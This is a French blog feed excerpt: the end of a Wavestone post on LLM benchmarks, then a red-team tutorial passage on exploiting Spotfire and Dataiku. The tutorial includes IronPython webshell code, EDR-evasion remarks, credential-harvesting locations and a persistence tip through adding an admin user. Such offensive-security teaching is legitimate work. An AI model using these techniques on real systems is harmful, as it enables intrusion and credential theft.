<p style="text-align: justify;">De plus, chacun des benchmarks mentionnés possède des points forts et des faiblesses qui les rendent uniques et efficaces dans différents aspects. Chez Wavestone, nous reconnaissons cependant l&rsquo;importance de la diversification pour minimiser les risques. C&rsquo;est pourquoi nous avons développé une liste de vérification permettant aux utilisateurs de prendre des décisions plus éclairées lors du choix d&rsquo;un ensemble de benchmarks à suivre et de leur utilisation pour comparer les derniers modèles. La liste de vérification couvre une grande variété de domaines, de benchmarks et de facteurs, offrant à l&rsquo;utilisateur final un contrôle plus granulaire sur son choix de benchmarks.</p>
<p style="text-align: justify;">Cet outil, qui est également un suivi des priorités, permet aux utilisateurs d&rsquo;attribuer différents poids aux benchmarks afin de refléter avec précision leurs besoins professionnels et la nature des tâches. Par exemple, un consultant pourrait privilégier la multi-modalité pour l&rsquo;analyse de diagrammes et de graphiques par rapport aux compétences mathématiques, et ainsi attribuer un poids plus élevé à la multi-modalité</p>
<p> </p>
<h2 style="text-align: justify;">Réflexions finales</h2>
<p style="text-align: justify;">Dans le paysage en évolution rapide des LLM, comprendre les nuances entre les différents modèles et leurs capacités est crucial. Avant de considérer un LLM, plusieurs facteurs doivent être pris en compte, tels que la date limite de connaissance, la confidentialité des données, la vitesse, la taille des paramètres, la fenêtre contextuelle et la multimodalité. Une fois ces facteurs examinés, les utilisateurs peuvent consulter différents benchmarks pour prendre une décision plus éclairée. Ceux abordés dans cet article, à savoir MMLU, HellaSwag, HumanEval et Chatbot Arena, offrent un système robuste pour évaluer quantitativement ces modèles dans divers domaines.</p>
<p style="text-align: justify;">En conclusion, la course à l&rsquo;IA ne consiste pas seulement à développer de meilleurs modèles, mais aussi à tirer parti de ces modèles de manière efficace. Le choix du LLM le plus optimal n&rsquo;est pas un sprint mais un marathon, nécessitant un apprentissage continu, une adaptation et une prise de décision stratégique à travers le benchmarking et les tests. Alors que nous continuons à explorer le potentiel des LLM, rappelons-nous que la véritable mesure du succès ne réside pas dans la sophistication de la technologie, mais dans sa capacité à ajouter de la valeur à notre travail et à nos vies.</p>
<p> </p>
<h3>Remerciements</h3>
<p>Nous remercions Awwab Kamel Hamam pour son travail dans la rédaction de cet article.</p>
<p> </p>
<h2 style="text-align: justify;">Lectures complémentaires et références</h2>
<p style="text-align: justify;">[1] D. Hendrycks et al., “Measuring Massive Multitask Language Understanding.” arXiv, 2020. doi: 10.48550/ARXIV.2009.03300. Disponible sur : https://arxiv.org/abs/2009.03300 <br />[2] D. Hendrycks et al., “Aligning AI With Shared Human Values.” arXiv, 2020. doi: 10.48550/ARXIV.2008.02275. Disponible sur : https://arxiv.org/abs/2008.02275<br />[3] M. Chen et al., “Evaluating Large Language Models Trained on Code.” arXiv, 2021. doi: 10.48550/ARXIV.2107.03374. Disponible sur : https://arxiv.org/abs/2107.03374<br />[4] R. Zellers, A. Holtzman, Y. Bisk, A. Farhadi, and Y. Choi, “HellaSwag: Can a Machine Really Finish Your Sentence?” arXiv, 2019. doi: 10.48550/ARXIV.1905.07830. Disponible sur : https://arxiv.org/abs/1905.07830<br />[5] W.-L. Chiang et al., “Chatbot Arena: An Open Platform for Evaluating LLM by Human Preference.” arXiv, 2024. doi: 10.48550/ARXIV.2403.04132. Disponible sur : https://arxiv.org/abs/2403.04132</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/09/quel-llm-vous-convient-optimiser-lutilisation-des-benchmarks-des-llm-en-interne/">Quel LLM vous convient ? Optimiser l&rsquo;utilisation des benchmarks des LLM en interne.</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/09/quel-llm-vous-convient-optimiser-lutilisation-des-benchmarks-des-llm-en-interne/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DataScience pour la RedTeam: Etendre sa surface d&#8217;attaque</title>
		<link>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 25 Jul 2024 13:06:07 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[DataScience]]></category>
		<category><![CDATA[RedTeam]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23633</guid>

					<description><![CDATA[<p>  1. Vue d’ensemble Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, d’autres comme accélérateurs de compromission, et d’autres sont gardées pour la post-exploitation. Ces...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/">DataScience pour la RedTeam: Etendre sa surface d&rsquo;attaque</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1> </h1>
<h1><span style="color: #451dc7;">1. Vue d’ensemble</span></h1>
<p>Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, <span style="color: #451dc7;"><strong>d’autres comme accélérateurs de compromission</strong></span>, et d’autres sont gardées pour la post-exploitation. Ces applications sont appelées des cibles à hautes valeurs.</p>
<p>Par exemple, durant une attaque habituelle, l’application développée en interne va être ciblée en premier car elle offre une surface d’attaque importante et permet souvent de l’exécution de code distant sur les serveurs joints au domaine. Les infrastructures <span style="color: #250f6b;"><em>CICD</em> </span>sont exploitées pour facilement rebondir sur le réseau interne à travers l’infection de la pipeline <span style="color: #250f6b;"><em>CICD</em> </span>ou la découverte de secrets supplémentaires. <span style="color: #250f6b;"><em>L’ADCS</em> </span>est fortement sollicité pour accélérer la compromission du domaine à travers l’ensemble des vulnérabilités <span style="color: #250f6b;"><em>ESCXX</em></span>.</p>
<p><span style="color: #451dc7;"><strong>La typologie des applications dans chaque catégorie est restée la même depuis plusieurs années</strong></span>, même si de nouveaux concurrents sont apparus au fil du temps, tels que l’application <span style="color: #250f6b;"><em>SCCM</em></span>, la console <span style="color: #250f6b;"><em>EDR</em></span>, etc. Cependant, étant donné que les mêmes techniques sont utilisées depuis plusieurs années, <span style="color: #451dc7;"><strong>les entreprises ont commencé à sécuriser ces éléments, rendant leur compromission et leur exploitation plus difficiles.</strong></span></p>
<p><span style="color: #451dc7;"><strong>Il est temps d’explorer de nouveaux horizons </strong></span>et renouveler ces anciennes pratiques avec un nouvel ensemble d’applications.</p>
<p>Dans cet article, <span style="color: #451dc7;"><strong>nous allons regarder les applications de DataScience</strong></span>. Avec l’essor du <span style="color: #250f6b;"><em>BigData</em></span>, de plus en plus d’entreprises intègrent une infrastructure de <span style="color: #250f6b;"><em>DataScience</em> </span>à leur système d’information. Nous verrons comment ces applications peuvent être exploitées pour :</p>
<ul>
<li><em>Réaliser une exécution de code à distance</em></li>
<li><em>Faire des mouvements latéraux sur le réseau interne</em></li>
<li><em>La diffusion de logiciels malveillants parmi les utilisateurs</em></li>
<li><em>Faciliter la persistance des accès</em></li>
<li><em>Exploiter le Datalake pour le datamining</em></li>
</ul>
<h1><span style="color: #451dc7;">2. Accès initial sur l’application de DataScience</span></h1>
<p>Il existe de nombreuses applications <span style="color: #250f6b;"><em>DataScience</em> </span>différentes. Dans cet article nous nous concentrerons principalement sur les applications <span style="color: #250f6b;"><em>Spotfire</em> </span>et <span style="color: #250f6b;"><em>Dataiku</em> </span>car ce sont soit les plus populaires, soit qui ont le vent en poupe.</p>
<p>La <span style="color: #250f6b;"><em>DataScience</em> </span>étant encore nouvelle dans les entreprises, ces applications sont souvent déployées et maintenues par le métier et non par la <span style="color: #250f6b;"><em>DSI</em></span>.</p>
<p>Disposer d’une application hors du processus informatique standard (<span style="color: #250f6b;"><em>Shadow IT</em></span>) est souvent intéressant pour un attaquant. En effet, lorsqu’une application est mise en place en dehors du processus informatique standard, elle ne met souvent pas en œuvre les règles de sécurité standards imposées par l’entreprise. Ainsi, vous verrez sûrement :</p>
<ul>
<li>Des applications exposées directement sur internet sans protections supplémentaire</li>
<li>Des applications non installées dans une DMZ spécifique avec un accès direct au réseau interne</li>
<li>Des applicaitons avec une authentification locale au lieu du méchanisme d’authentification global de l’entreprise</li>
<li>Un manque de durcissement du processus de déploiement et un manque de déploiement de correctifs de sécurité</li>
</ul>
<p>Ces points peuvent sembler sans importance, mais leur accumulation conduit à la possibilité d’accéder à ces applications directement depuis <span style="color: #250f6b;"><em>Internet</em> </span>avec des informations d’identification non sécurisées, par défaut et toujours valides ou via un contournement d’authentification corrigé il y a quelques années mais jamais mise en place car l’entreprise ne le sait pas ou même ne s’en soucie…</p>
<h1><span style="color: #451dc7;">3. DataScience en tant que RCE as a service</span></h1>
<h2><span style="color: #451dc7;">3.1. Pourquoi utiliser une application de datascience</span></h2>
<p>Avant d’entrer dans le coeur du sujet, prenons un peu de temps pour discuter de l’intérêt et du cas d’utilisation de l’application de <span style="color: #250f6b;"><em>datascience</em></span>.</p>
<p>Prenons comme exemple une entreprise qui vend plusieurs types de produits comme <span style="color: #250f6b;"><em>Amazon</em> </span>ou n’importe quelle marketplace. Cette société souhaite voir en temps réel les produits tendances en fonction de certaines caractéristiques des utilisateurs collectées par les analyses de leur site Web.</p>
<p>Ils peuvent utiliser un fichier <span style="color: #250f6b;"><em>Excel</em> </span>et essayer d’utiliser les fonctionnalités <span style="color: #250f6b;"><em>Excel VBA</em> </span>pour créer des graphiques et des tendances, mais il serait très pénible d’importer manuellement toutes les données dans le fichier <span style="color: #250f6b;"><em>Excel</em> </span>et pour une entreprise comptant des millions de clients, <span style="color: #250f6b;"><em>Excel</em> </span>plantera probablement à chaque fois que quelqu’un éternue à côté.</p>
<p>Pour résoudre ce problème, l’entreprise a commencé à stocker ses données analytiques dans une base de données qui sera appelée <span style="color: #250f6b;"><em>datalake</em></span>. Ensuite, lorsque quelqu’un souhaite créer un joli rapport, il crée un script <span style="color: #250f6b;"><em>python</em> </span>qui se connecte à la base de données, récupère les données pertinentes, les traite via <span style="color: #250f6b;"><em>numpy</em> </span>ou <span style="color: #250f6b;"><em>panda</em> </span>et utilise <span style="color: #250f6b;"><em>matplotlib</em> </span>pour dessiner le graphique et les tendances. C’est bien mieux, l’application peut évoluer, est plus stable mais elle demande des compétences techniques en matière de script donc l’entreprise ne peut pas l’utiliser seule.</p>
<p>La société décide donc de développer une jolie interface pour envelopper tout le script <span style="color: #250f6b;"><em>Python</em> </span>derrière une belle interface utilisateur que tout le monde peut utiliser. Les utilisateurs peuvent se connecter à l’application, choisir les données à importer, les traiter et dessiner des graphiques sans écrire une seule ligne de code.</p>
<p>Ils ont juste créé leur première application de <span style="color: #250f6b;"><em>datascience</em></span>.</p>
<p>Aujourd’hui, les entreprises n’investiront probablement pas plusieurs mois de développement sur ce type de configuration. Ils préfèrent acheter une application commerciale tout-en-un. Parmi ces applications figurent <span style="color: #250f6b;"><em>Spotfire</em> </span>et <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<h2><span style="color: #451dc7;">3.2. Où est ma RCE?</span></h2>
<p>Une application <span style="color: #250f6b;"><em>Datascience</em> </span>peut être résumée comme une simple interface pour les scripts de traitement de données. Et parfois, les fonctions intégrées ne suffisent pas, ils exposent donc l’accès à leur moteur de script pour permettre aux développeurs de créer un script personnalisé pouvant être entièrement intégré à l’environnement et utilisé par l’entreprise.</p>
<p> </p>
<h3><span style="color: #451dc7;">3.2.1. Spotfire</span></h3>
<p><span style="text-decoration: underline;"><strong>Infrastructure Spotfire basique</strong></span></p>
<p>Quand déployé tel quel, l’infrastructure <span style="color: #250f6b;"><em>Spotfire</em> </span>ressemble au schéma suivant:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23734" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01.png" alt="" width="4162" height="1834" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01.png 4162w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-433x191.png 433w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-768x338.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-1536x677.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-2048x902.png 2048w" sizes="auto, (max-width: 4162px) 100vw, 4162px" /></p>
<p style="text-align: center;"><em>Figure 1: Basic Spotfire infrastructure</em></p>
<p>L’utilisateur se connecte à une <span style="color: #250f6b;"><em>WebUI</em> </span>exposée par <em><span style="color: #250f6b;">Spotfire WebPlayer</span></em> ou via un client lourd <span style="color: #250f6b;"><em>Spotfire</em> </span>dédié directement depuis son poste de travail et accède à son rapport stocké sur le serveur <span style="color: #250f6b;"><em>Spotfire</em></span>. Une fois les rapports ouverts, ils contactent le serveur <span style="color: #250f6b;"><em>Spotfire</em> </span>pour récupérer les données et exécuter le script de nettoyage des données.</p>
<p><span style="text-decoration: underline;"><strong>Execution de code distant</strong></span></p>
<p><span style="color: #250f6b;"><em>Spotfire</em> </span>permet, de par sa conception, l’exécution d’un script <span style="color: #250f6b;"><em>R</em></span>, mais l’exécution d’un script <em><span style="color: #250f6b;">Python</span> </em>peut être facilement activée en chargeant le module de script <span style="color: #250f6b;"><em>IronPython</em></span>.</p>
<p>Dans tous les cas, les utilisateurs peuvent exécuter des scripts directement depuis <span style="color: #250f6b;"><em>Spotfire WebPlayer</em></span> ou le client lourd. Cependant, ils ne peuvent modifier ou créer des scripts qu’à partir du client lourd <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>Depuis le client lourd, il est possible de créer un nouveau projet. A l’intérieur du projet, il est possible de créer une <span style="color: #250f6b;"><em>UI</em></span>. Créons un webshell <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>Tout d’abord, nous allons créer <span style="color: #250f6b;"><em>l’UI</em></span>. Il sera composé d’une <span style="color: #250f6b;"><em>textarea</em> </span>pour taper la commande, une autre <span style="color: #250f6b;"><em>textarea</em> </span>pour afficher le résultat de la commande et un bouton pour envoyer la commande :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23664" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg" alt="" width="1196" height="758" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg 1196w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-301x191.jpg 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-768x487.jpg 768w" sizes="auto, (max-width: 1196px) 100vw, 1196px" /></p>
<p style="text-align: center;"><em>Figure 2: UI webshell finale</em></p>
<p>Une fois le projet créé, nous créons une nouvelle page vide. Lorsqu’une page vide est créée, <span style="color: #250f6b;"><em>Spotfire</em> </span>demande si l’on souhaite commencer par des données, une visualisation ou autre :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23666" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg" alt="" width="848" height="524" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg 848w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-309x191.jpg 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-63x39.jpg 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-768x475.jpg 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></p>
<p style="text-align: center;"><em>Figure 3: nouvelle page Spotfire</em></p>
<p>Nous choisirons “<span style="color: #250f6b;"><em>Start from Visualizations</em></span>” et choisirons le type de visualisation “<span style="color: #250f6b;"><em>Text area</em></span>”. Cela devrait afficher une page entièrement vierge:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23668" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg" alt="" width="840" height="532" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg 840w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-302x191.jpg 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-768x486.jpg 768w" sizes="auto, (max-width: 840px) 100vw, 840px" /></p>
<p style="text-align: center;"><em>Figure 4: nouvelle textarea de Spotfire</em></p>
<p>Ce <span style="color: #250f6b;"><em>textarea</em> </span>va contenir l’ensemble du contrôle d’entrée du webshell. Créons une nouvelle <span style="color: #250f6b;"><em>textarea</em> </span>pour le résultat:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23670" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg" alt="" width="953" height="597" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg 953w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-305x191.jpg 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-768x481.jpg 768w" sizes="auto, (max-width: 953px) 100vw, 953px" /></p>
<p style="text-align: center;"><em>Figure 5: seconde textarea de Spotfire</em></p>
<p>Désormais, nous pouvons cliquer sur “<span style="color: #250f6b;"><em>Edit Text Area</em></span>” en haut de la première zone de texte. Cela va permettre la customisation du contenu de la zone de texte.</p>
<p>Ajoutons d’abord un contrôle d’entrée qui servira à taper la commande à envoyer au serveur :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23672" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg" alt="" width="1140" height="666" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg 1140w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-327x191.jpg 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-67x39.jpg 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-768x449.jpg 768w" sizes="auto, (max-width: 1140px) 100vw, 1140px" /></p>
<p style="text-align: center;"><em>Figure 6: modification de la zone de texte</em></p>
<p>Nous allons lier la valeur du contrôle à une propriété du document pour pouvoir l’utiliser avec notre futur script python. Nous pouvons créer une nouvelle propriété appelée <span style="color: #250f6b;"><em>Input</em> </span>avec le type de données <span style="color: #250f6b;"><em>String</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23674" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg" alt="" width="629" height="792" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg 629w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-152x191.jpg 152w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-31x39.jpg 31w" sizes="auto, (max-width: 629px) 100vw, 629px" /></p>
<p style="text-align: center;"><em>Figure 7: Lier le contrôle au champ de saisie</em></p>
<p>Ensuite, créons un contrôle d’action en cliquant sur le bouton “<em><span style="color: #250f6b;">Insert Action Control</span></em>” en haut de la fenêtre <span style="color: #250f6b;"><em>Edit Text Area</em></span>. Cliquons sur <span style="color: #250f6b;"><em>Script</em> </span>et choisissons le bouton de type contrôle. Ensuite, nous pouvons créer un nouveau script <span style="color: #250f6b;"><em>IronPython</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23676" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg" alt="" width="826" height="770" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-205x191.jpg 205w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-42x39.jpg 42w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-768x716.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></p>
<p style="text-align: center;"><em>Figure 8: ajout du bouton</em></p>
<p>Remplissez le contenu du script avec le code suivant :</p>
<pre><code>from Spotfire.Dxp.Application.Visuals import *</code><br /><code>from System.IO import *</code><br /><code>from System.Drawing import *</code><br /><code>from System.Drawing.Imaging import *</code><br /><code>from System.Text.RegularExpressions import *</code><br /><code>import subprocess</code><br /><code>vis=visual.As[HtmlTextArea]()</code><br /><code>if 'clean!' in com:</code><br /><code>    vis.HtmlContent = ''</code><br /><code>else:</code><br /><code>    try:</code><br /><code>        vis.HtmlContent = "Executing {}".format(com)</code><br /><code>        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)</code><br /><code>        output, _ = process.communicate()</code><br /><code>        vis.HtmlContent='&lt;br&gt;'.join(output.split('\n'))</code><br /><code>    except Exception as e:</code><br /><code>        vis.HtmlContent="{}".format(e)</code></pre>
<p>Ce code charge un ensemble de bibliothèques <span style="color: #250f6b;"><em>Spotfire</em> </span>utilisées pour communiquer avec l’interface utilisateur. La variable “<span style="color: #250f6b;"><em>visual</em></span>” représente la zone de texte utilisée pour afficher le résultat. La variable “<span style="color: #250f6b;"><em>com</em></span>” contient la valeur du lien de propriété avec notre champ de saisie créé.</p>
<p>Le script exécute la commande stockée dans le “<span style="color: #250f6b;"><em>com</em></span>” et écrit le résultat sur l’élément <span style="color: #250f6b;"><em>UI</em> </span>pointé par la variable “<span style="color: #250f6b;"><em>visual</em></span>”.</p>
<p>Maintenant, nous devons lier les variables “<span style="color: #250f6b;"><em>visual</em></span>” et “<span style="color: #250f6b;"><em>com</em></span>” aux différents éléments du projet. Dans le tableau “<span style="color: #250f6b;"><em>Script parameters</em></span>” , ajoutez un nouveau paramètre :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23678" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg" alt="" width="532" height="539" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg 532w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-189x191.jpg 189w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-38x39.jpg 38w" sizes="auto, (max-width: 532px) 100vw, 532px" /></p>
<p style="text-align: center;"><em>Figure 9: Lier le paramètre visual</em></p>
<p>Faisons la même chose pour le paramètre <span style="color: #250f6b;"><em>com</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23680" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg" alt="" width="623" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg 623w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-187x191.jpg 187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-38x39.jpg 38w" sizes="auto, (max-width: 623px) 100vw, 623px" /></p>
<p style="text-align: center;"><em>Figure 10: Lier le parameter com</em></p>
<p>Désormais, lorsque le script sera exécuté, il liera automatiquement le paramètre <span style="color: #250f6b;"><em>visual</em> </span>au panneau <span style="color: #250f6b;"><em>textarea</em> </span>utilisé pour afficher le résultat et le paramètre <span style="color: #250f6b;"><em>com</em> </span>au contenu de la propriété <span style="color: #250f6b;"><em>Input</em> </span>créée lors de la définition du champ de saisie.</p>
<p>Sauvegardons le tout. Félicitations, nous avons un <span style="color: #250f6b;"><em>webshell</em> </span>fonctionnel:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23682" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg" alt="" width="809" height="261" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg 809w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-437x141.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-71x23.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-768x248.jpg 768w" sizes="auto, (max-width: 809px) 100vw, 809px" /></p>
<p style="text-align: center;"><em>Figure 11: Webshell final</em></p>
<p>S’il est exécuté directement depuis le client lourd, le code ne sera exécuté qu’en local, ce n’est donc pas vraiment intéressant. Cependant, si le code est exécuté directement depuis le<span style="color: #250f6b;"><em> Spotfire Webplayer</em></span>, il sera exécuté sur le serveur <span style="color: #250f6b;"><em>Spotfire</em></span>, entraînant une exécution de code à distance sur le serveur.</p>
<h3><span style="color: #451dc7;">3.2.2. Dataiku</span></h3>
<p>L’exécution de code à distance sur <span style="color: #250f6b;"><em>Dataiku</em> </span>est plus simple. En effet, <span style="color: #250f6b;"><em>Dataiku</em> </span>embarque directement des fonctionnalités de type notebook <span style="color: #250f6b;"><em>Jupyter</em></span>.</p>
<p>En créant un nouveau projet <span style="color: #250f6b;"><em>Jupyter</em></span>, il est possible d’exécuter directement la commande sur le serveur comme le montre la figure suivante :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png" alt="" width="526" height="228" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png 526w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-71x31.png 71w" sizes="auto, (max-width: 526px) 100vw, 526px" /></p>
<p style="text-align: center;"><em>Figure 12: Execution de code avec Dataiku</em></p>
<h3><span style="color: #451dc7;">3.2.3. Considération OPSEC</span></h3>
<p>On peut dire que la génération d’un processus <span style="color: #250f6b;"><em>Python</em> </span>en tant que processus enfant pour <span style="color: #250f6b;"><em>Spotfire</em> </span>ou <span style="color: #250f6b;"><em>Dataiku</em> </span>entraînera une détection directe par <span style="color: #250f6b;"><em>l’EDR</em></span>. Cependant, nous devons garder à l’esprit que la création d’un processus <span style="color: #250f6b;"><em>Python</em> </span>est un comportement légitime pour le processus <span style="color: #250f6b;"><em>Spotfire</em> </span>ou <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<p>Cependant, si vous commencez à générer <em><span style="color: #250f6b;">cmd.exe</span> </em>directement à partir du script <span style="color: #250f6b;"><em>Python</em></span>, oui, cela pourrait conduire à une détection directe. Mais <span style="color: #250f6b;"><em>python </em></span>est connu pour être suspect par défaut et <span style="color: #250f6b;"><em>l’EDR</em> </span>est un peu plus détendu sur les actions effectuées par un processus <span style="color: #250f6b;"><em>python</em> </span>en raison de plusieurs faux positifs.</p>
<p>Donc, en un mot, la génération du processus <span style="color: #250f6b;"><em>python</em> </span>ne devrait conduire à aucune détection spécifique, mais vous devez faire attention au script que vous exécuterez à partir de celui-ci.</p>
<h1><span style="color: #451dc7;">4. Récolte des identifiants</span></h1>
<p>Avoir une <span style="color: #250f6b;"><em>RCE</em> </span>sur un serveur, c’est toujours intéressant, mais il vaut mieux savoir ce qu’on peut en faire. Tout d’abord, si vous avez obtenu la <span style="color: #250f6b;"><em>RCE</em> </span>sur un ordinateur joint au domaine, vous disposez d’un accès authentifié au domaine, et lorsque vous venez directement depuis Internet, c’est la cerise sur le gâteau.</p>
<p>La spécificité des applications de <span style="color: #250f6b;"><em>datascience</em> </span>est qu’elles sont connectées au datalake. Ces connexions peuvent être des connexions <span style="color: #250f6b;"><em>SQL</em> </span>standard, mais elles peuvent également être des connexions à des <span style="color: #250f6b;"><em>datalake</em> </span>cloud tels qu’<span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>Ayant une <em><span style="color: #250f6b;">RCE</span> </em>sur le serveur, vous pouvez généralement accéder à toutes les informations d’identification stockées dans l’application.</p>
<h2><span style="color: #451dc7;">4.1. Exemple avec Dataiku</span></h2>
<p>Sur <span style="color: #250f6b;"><em>Dataiku</em></span>, les secrets sont stockés dans le dossier <span style="color: #250f6b;"><em>DATA_DIR/config</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23686" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png" alt="" width="607" height="203" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png 607w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-437x146.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-71x24.png 71w" sizes="auto, (max-width: 607px) 100vw, 607px" /></p>
<p style="text-align: center;"><em>Figure 13: Fichiers de configuration de dataiku</em></p>
<p><span style="color: #250f6b;"><em>Users.json</em> </span>contient la base de données utilisateur de <em><span style="color: #250f6b;">dataiku</span></em>. Vous pouvez l’utiliser pour créer un nouvel utilisateur administrateur et conserver la persistance sur l’environnement.</p>
